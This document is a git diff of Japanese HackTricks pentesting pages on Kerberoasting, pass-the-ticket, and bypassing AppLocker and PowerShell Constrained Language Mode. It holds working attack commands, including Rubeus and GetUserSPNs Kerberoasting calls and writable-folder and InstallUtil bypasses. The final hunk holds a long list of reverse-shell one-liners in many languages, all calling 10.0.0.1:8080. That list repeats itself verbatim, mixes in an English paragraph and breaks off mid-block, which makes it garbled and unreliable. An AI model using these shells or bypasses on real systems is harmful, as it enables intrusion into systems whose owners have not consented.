@ -91,13 +91,21 @@ sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_
|
|||
```
|
||||
* **テクニック2: 自動ツール**
|
||||
|
||||
自動ツールを使用することは、Kerberoasting攻撃を簡単かつ効率的に実行する方法です。これらのツールは、攻撃者が手動で行う必要がある多くの手順を自動化します。以下は、一般的な自動ツールの例です。
|
||||
自動ツールを使用することは、Kerberoasting攻撃を簡単かつ効率的に実行する方法です。以下のツールが一般的に使用されます。
|
||||
|
||||
- Rubeus: Rubeusは、Kerberosチケットを盗むための強力なツールです。このツールは、攻撃者がActive Directory環境でKerberoasting攻撃を実行するために必要なすべての機能を提供します。
|
||||
- [Rubeus](https://github.com/GhostPack/Rubeus): Rubeusは、Kerberosチケットを取得し、Kerberoasting攻撃を実行するための強力なツールです。以下のコマンドを使用して、Rubeusを実行します。
|
||||
|
||||
- Kekeo: Kekeoは、Kerberos認証プロトコルを操作するためのツールキットです。このツールは、攻撃者がKerberoasting攻撃を実行するために必要な機能を提供します。
|
||||
```
|
||||
Rubeus.exe kerberoast
|
||||
```
|
||||
|
||||
これらのツールは、攻撃者がKerberoasting攻撃を簡単に実行できるようにするため、積極的なディレクトリのハードニングに対する防御策が重要です。
|
||||
- [Impacket](https://github.com/SecureAuthCorp/impacket): Impacketは、Pythonベースのネットワークプロトコルライブラリであり、Kerberoasting攻撃に使用できるツールが含まれています。以下のコマンドを使用して、Impacketを実行します。
|
||||
|
||||
```
|
||||
GetUserSPNs.py -request -outputfile kerberoast.txt
|
||||
```
|
||||
|
||||
これらのツールは、Kerberoasting攻撃を自動化し、攻撃者が効率的にKerberosチケットを取得できるようにします。
|
||||
```bash
|
||||
# Powerview: Get Kerberoast hash of a user
|
||||
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
|
||||
|
@ -119,10 +127,10 @@ TGSが要求されると、Windowsイベント`4769 - Kerberosサービスチケ
|
|||
|
||||
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -149,7 +157,7 @@ Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whatever
|
|||
|
||||
Kerberoast は、攻撃可能な場合に非常に潜在的です。
|
||||
|
||||
* セキュリティイベントID 4769 – Kerberosチケットの要求がありました
|
||||
* セキュリティイベントID 4769 – Kerberosチケットが要求されました
|
||||
* 4769は非常に頻繁なので、結果をフィルタリングしましょう:
|
||||
* サービス名はkrbtgtではないこと
|
||||
* サービス名は$で終わらないこと(サービス用のマシンアカウントをフィルタリングするため)
|
||||
|
@ -162,7 +170,7 @@ Kerberoast は、攻撃可能な場合に非常に潜在的です。
|
|||
```bash
|
||||
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
|
||||
```
|
||||
**[こちら](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**と**[こちら](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**には、ired.teamのKerberoastingに関する詳細な情報があります。
|
||||
**[こちら](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**と**[こちら](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**で、ired.teamのKerberoastingに関する詳細情報を見ることができます。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -171,15 +179,15 @@ Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{
|
|||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築および自動化**できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
## チケットのパス(PTT)
|
||||
|
||||
この攻撃は、パスキーのようなものですが、ハッシュを使用してチケットを要求する代わりに、チケット自体が盗まれ、所有者として認証に使用されます。
|
||||
この攻撃は、パスキーのようなものですが、ハッシュを使用してチケットを要求する代わりに、チケット自体が盗まれ、所有者として認証されます。
|
||||
|
||||
**読む**:
|
||||
|
||||
|
@ -61,10 +61,10 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
|
|||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.io/)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -73,10 +73,10 @@ klist #List tickets in cache to cehck that mimikatz has loaded the ticket
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
@ -24,7 +24,7 @@
|
|||
アプリケーションホワイトリストは、システム上で存在し実行されることが許可されている承認済みのソフトウェアアプリケーションまたは実行可能ファイルのリストです。その目的は、特定のビジネスニーズに合わない有害なマルウェアや非承認のソフトウェアから環境を保護することです。 
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker)は、Microsoftの**アプリケーションホワイトリストソリューション**であり、システム管理者に**ユーザーが実行できるアプリケーションとファイルを制御する機能**を提供します。実行可能ファイル、スクリプト、Windowsインストーラーファイル、DLL、パッケージ化されたアプリ、パックされたアプリインストーラーに対して**細かい制御**を提供します。\
|
||||
組織が**cmd.exeとPowerShell.exeをブロック**し、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべて回避できます。
|
||||
組織では、**cmd.exeとPowerShell.exeをブロック**し、特定のディレクトリへの書き込みアクセスを制限することが一般的ですが、これらはすべて回避できます。
|
||||
|
||||
### チェック
|
||||
|
||||
|
@ -41,39 +41,39 @@ $a.rulecollections
|
|||
|
||||
### バイパス
|
||||
|
||||
* AppLockerポリシーをバイパスするための**書き込み可能なフォルダ**の利用: もしAppLockerが`C:\Windows\System32`または`C:\Windows`内の何でも実行を許可している場合、**バイパスするために使用できる書き込み可能なフォルダ**があります。
|
||||
* AppLockerポリシーをバイパスするための**書き込み可能なフォルダ**:AppLockerが`C:\Windows\System32`または`C:\Windows`内の何でも実行を許可している場合、**バイパスするために使用できる書き込み可能なフォルダ**があります。
|
||||
```
|
||||
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
|
||||
C:\Windows\System32\spool\drivers\color
|
||||
C:\Windows\Tasks
|
||||
C:\windows\tracing
|
||||
```
|
||||
* 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)のバイナリもAppLockerをバイパスするのに役立つことがあります。
|
||||
* 一般的に**信頼された**[**"LOLBAS's"**](https://lolbas-project.github.io/)のバイナリは、AppLockerをバイパスするのにも役立つ場合があります。
|
||||
* **不適切に書かれたルールもバイパスできる**ことがあります。
|
||||
* たとえば、**`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**という場合、**`allowed`**という名前のフォルダをどこにでも作成すると許可されます。
|
||||
* 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`の実行可能ファイルをブロック**することに焦点を当てますが、**他の**[**PowerShellの実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell\_Executables\_File\_System\_Locations)、たとえば`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`を忘れがちです。
|
||||
* **DLLの強制は非常に稀に有効化**されます。システムに負荷をかけることができ、何も壊れないことを確認するために必要なテストの量が多いためです。そのため、**DLLをバックドアとして使用するとAppLockerをバイパスするのに役立ちます**。
|
||||
* [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)または[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスすることができます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を参照してください。
|
||||
* 組織はしばしば**`%System32%\WindowsPowerShell\v1.0\powershell.exe`の実行可能ファイルをブロック**することに焦点を当てますが、**他の**[**PowerShell実行可能ファイルの場所**](https://www.powershelladmin.com/wiki/PowerShell\_Executables\_File\_System\_Locations)、たとえば`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`や`PowerShell_ISE.exe`を忘れがちです。
|
||||
* **DLLの強制は非常に稀に有効化**されます。システムに負荷をかけることができ、何も壊れないことを確認するために必要なテストの量が多いためです。そのため、**DLLをバックドアとして使用するとAppLockerをバイパス**するのに役立ちます。
|
||||
* [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)または[**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick)を使用して、任意のプロセスでPowershellコードを実行し、AppLockerをバイパスできます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode)を参照してください。
|
||||
|
||||
## 認証情報の保存
|
||||
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
ローカルの認証情報はこのファイルに保存されており、パスワードはハッシュ化されています。
|
||||
ローカルの認証情報は、パスワードがハッシュ化された状態でこのファイルに存在します。
|
||||
|
||||
### Local Security Authority (LSA) - LSASS
|
||||
|
||||
**認証情報**(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリに保存されます。\
|
||||
LSAはローカルの**セキュリティポリシー**(パスワードポリシー、ユーザーの権限など)、**認証**、**アクセストークン**の管理などを行います。\
|
||||
**認証情報**(ハッシュ化されたもの)は、シングルサインオンのためにこのサブシステムのメモリに**保存**されます。\
|
||||
LSAは、ローカルの**セキュリティポリシー**(パスワードポリシー、ユーザーの権限など)、**認証**、**アクセストークン**などを管理します。\
|
||||
LSAは、ローカルログインの場合は**SAM**ファイル内の提供された認証情報を**チェック**し、ドメインユーザーの認証には**ドメインコントローラ**と通信します。
|
||||
|
||||
**認証情報**は**LSASSプロセス**内に保存されます。Kerberosチケット、NTおよびLMのハッシュ、簡単に復号できるパスワードなどが含まれます。
|
||||
**認証情報**は、**LSASSプロセス**内に保存されます。Kerberosチケット、NTおよびLMのハッシュ、簡単に復号化できるパスワードなどが含まれます。
|
||||
|
||||
### LSAのシークレット
|
||||
### LSAの秘密
|
||||
|
||||
LSAはディスクにいくつかの認証情報を保存することがあります:
|
||||
|
||||
* Active Directoryのコンピューターアカウントのパスワード(到達不能なドメインコントローラ)。
|
||||
* Active Directoryのコンピューターアカウントのパスワード(到達不能なドメインコントローラ)のパスワード。
|
||||
* Windowsサービスのアカウントのパスワード
|
||||
* スケジュールされたタスクのパスワード
|
||||
* その他(IISアプリケーションのパスワードなど)
|
||||
|
@ -119,23 +119,23 @@ sc query windefend
|
|||
|
||||
EFSは、ファイルを**対称鍵**(ファイル暗号化鍵または**FEK**とも呼ばれる)で暗号化することによって機能します。その後、暗号化されたFEKは、ファイルを暗号化したユーザーに関連付けられた**公開鍵**で暗号化され、この暗号化されたFEKは暗号化されたファイルの$EFS **代替データストリーム**に格納されます。ファイルを復号化するには、EFSコンポーネントドライバーは、$EFSストリームに格納されている対称鍵を復号化するために、ファイルを暗号化したEFSデジタル証明書に一致する**秘密鍵**を使用します。[ここから](https://en.wikipedia.org/wiki/Encrypting\_File\_System)。
|
||||
|
||||
ユーザーが要求しなくても、次のような例でファイルが復号化されることがあります。
|
||||
ユーザーが要求しなくてもファイルが復号化される例:
|
||||
|
||||
* ファイルとフォルダは、[FAT32](https://en.wikipedia.org/wiki/File\_Allocation\_Table)などの別のファイルシステムでフォーマットされたボリュームにコピーされる前に復号化されます。
|
||||
* 暗号化されたファイルは、SMB/CIFSプロトコルを使用してネットワーク経由でコピーされる場合、ファイルはネットワークに送信される前に復号化されます。
|
||||
* 暗号化されたファイルは、SMB/CIFSプロトコルを使用してネットワーク経由でコピーされるため、ファイルはネットワークに送信される前に復号化されます。
|
||||
|
||||
この方法で暗号化されたファイルは、**所有者ユーザー**(暗号化したユーザー)によって**透過的にアクセス**できます。したがって、そのユーザーになることができれば、ファイルを復号化できます(ユーザーのパスワードを変更してログインすることはできません)。
|
||||
この方法で暗号化されたファイルは、所有者ユーザー(暗号化したユーザー)によって**透過的にアクセス**できます。したがって、そのユーザーになることができれば、ファイルを復号化できます(ユーザーのパスワードを変更してログインしても機能しません)。
|
||||
|
||||
### EFS情報の確認
|
||||
|
||||
このパスが存在するかどうかを確認して、**ユーザー**がこの**サービス**を**使用**したかどうかを確認します:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
cipher /c \<file>\を使用して、ファイルに**アクセス権**を持つ**ユーザー**を確認します。
|
||||
`cipher /c \<file>\`を使用して、ファイルに**アクセス**できる**ユーザー**を確認します。
|
||||
また、`cipher /e`と`cipher /d`をフォルダ内で使用して、すべてのファイルを**暗号化**および**復号化**することもできます。
|
||||
|
||||
### EFSファイルの復号化
|
||||
|
||||
#### Authority Systemである場合
|
||||
#### Authority Systemであること
|
||||
|
||||
この方法では、**被害者ユーザー**がホスト内で**プロセス**を**実行**している必要があります。その場合、`meterpreter`セッションを使用して、ユーザーのプロセスのトークンをなりすますことができます(`incognito`の`impersonate_token`を使用)。または、ユーザーのプロセスに`migrate`することもできます。
|
||||
|
||||
|
@ -150,9 +150,9 @@ cipher /c \<file>\を使用して、ファイルに**アクセス権**を持つ*
|
|||
* パスワードの管理が不要です。複雑でランダムな240文字のパスワードを使用し、ドメインまたはコンピュータのパスワードの有効期限が切れると自動的に変更されます。
|
||||
* Microsoft Key Distribution Service(KDC)を使用してgMSAのパスワードを作成および管理します。
|
||||
* ロックアウトされることはなく、対話型ログインには使用できません。
|
||||
* 複数のホストで共有することができます。
|
||||
* 複数のホスト間で共有できます。
|
||||
* スケジュールされたタスクを実行するために使用できます(管理サービスアカウントはスケジュールされたタスクの実行をサポートしていません)。
|
||||
* 簡素化されたSPN管理 - システムは、コンピュータの**sAMaccount**の詳細やDNS名のプロパティが変更された場合、自動的にSPN値を変更します。
|
||||
* 簡素化されたSPN管理 - コンピュータの**sAMaccount**の詳細やDNS名のプロパティが変更された場合、システムは自動的にSPN値を変更します。
|
||||
|
||||
gMSAアカウントのパスワードは、LDAPプロパティである_**msDS-ManagedPassword**_に格納されており、DCは30日ごとに自動的にリセットされ、**認証された管理者**およびインストールされている**サーバー**によって取得できます。_**msDS-ManagedPassword**_は、接続がセキュリティで保護されている場合(LDAPS)や認証タイプが「シーリング&セキュア」の場合にのみ取得できる暗号化されたデータブロブであり、[MSDS-MANAGEDPASSWORD\_BLOB](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)と呼ばれます。
|
||||
|
||||
|
@ -164,7 +164,7 @@ gMSAアカウントのパスワードは、LDAPプロパティである_**msDS-M
|
|||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
また、この[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)では、**NTLMリレーアタック**を使用して**gMSA**の**パスワード**を**読み取る**方法について説明しています。
|
||||
また、この[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)をチェックして、**NTLMリレーアタック**を実行して**gMSA**の**パスワード**を**読み取る**方法について確認してください。
|
||||
|
||||
## LAPS
|
||||
|
||||
|
@ -184,287 +184,22 @@ $ExecutionContext.SessionState.LanguageMode
|
|||
#Values could be: FullLanguage or ConstrainedLanguage
|
||||
```
|
||||
### バイパス
|
||||
|
||||
Bypass(バイパス)
|
||||
```powershell
|
||||
#Easy bypass
|
||||
Powershell -version 2
|
||||
```
|
||||
現在のWindowsでは、このバイパスは機能しませんが、[**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用することができます。\
|
||||
**コンパイルするためには、** **参照を追加する必要があります** **->** _**参照の追加**_ -> _参照の参照_ -> _参照の参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更します**。
|
||||
現在のWindowsでは、バイパスは機能しませんが、[**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用することができます。\
|
||||
**コンパイルするためには、** **参照を追加する必要があります** **->** _**参照の追加**_ -> _参照の参照_ -> _参照の参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを .Net4.5 に変更します**。
|
||||
|
||||
#### 直接バイパス:
|
||||
#### 直接バイパス:
|
||||
```bash
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe
|
||||
```
|
||||
#### リバースシェル:
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
||||
```
|
||||
A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands. Reverse shells are commonly used in post-exploitation scenarios to maintain persistent access to a compromised system.
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
```nc
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
```xterm
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
```msfvenom
|
||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=8080 -f exe > shell.exe
|
||||
```
|
||||
|
||||
```msfconsole
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD windows/shell_reverse_tcp
|
||||
set LHOST 10.0.0.1
|
||||
set LPORT 8080
|
||||
exploit
|
||||
```
|
||||
|
||||
```ncat
|
||||
ncat 10.0.0.1 8080 -e /bin/bash
|
||||
```
|
||||
|
||||
```socat
|
||||
socat tcp-connect:10.0.0.1:8080 exec:/bin/bash,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
```perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
```
|
||||
|
||||
```telnet
|
||||
rm -f /tmp/p; mknod /tmp/p p && telnet 10.0.0.1 8080 0/tmp/p
|
||||
```
|
||||
|
||||
```awk
|
||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}'
|
||||
```
|
||||
|
||||
```lua
|
||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','8080');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
|
||||
```python
|
||||
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
```
|
||||
|
||||
```php
|
||||
php -r '$sock=fsockopen("10.0.0.1",8080);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
```
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",8080).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
||||
```
|
||||
|
||||
```nc
|
||||
nc -e /bin/sh 10.0.0.1 8080
|
||||
```
|
||||
|
||||
```powershell
|
||||
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
```java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
```
|
||||
|
||||
```xterm
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
|
||||
```msfvenom
|
||||
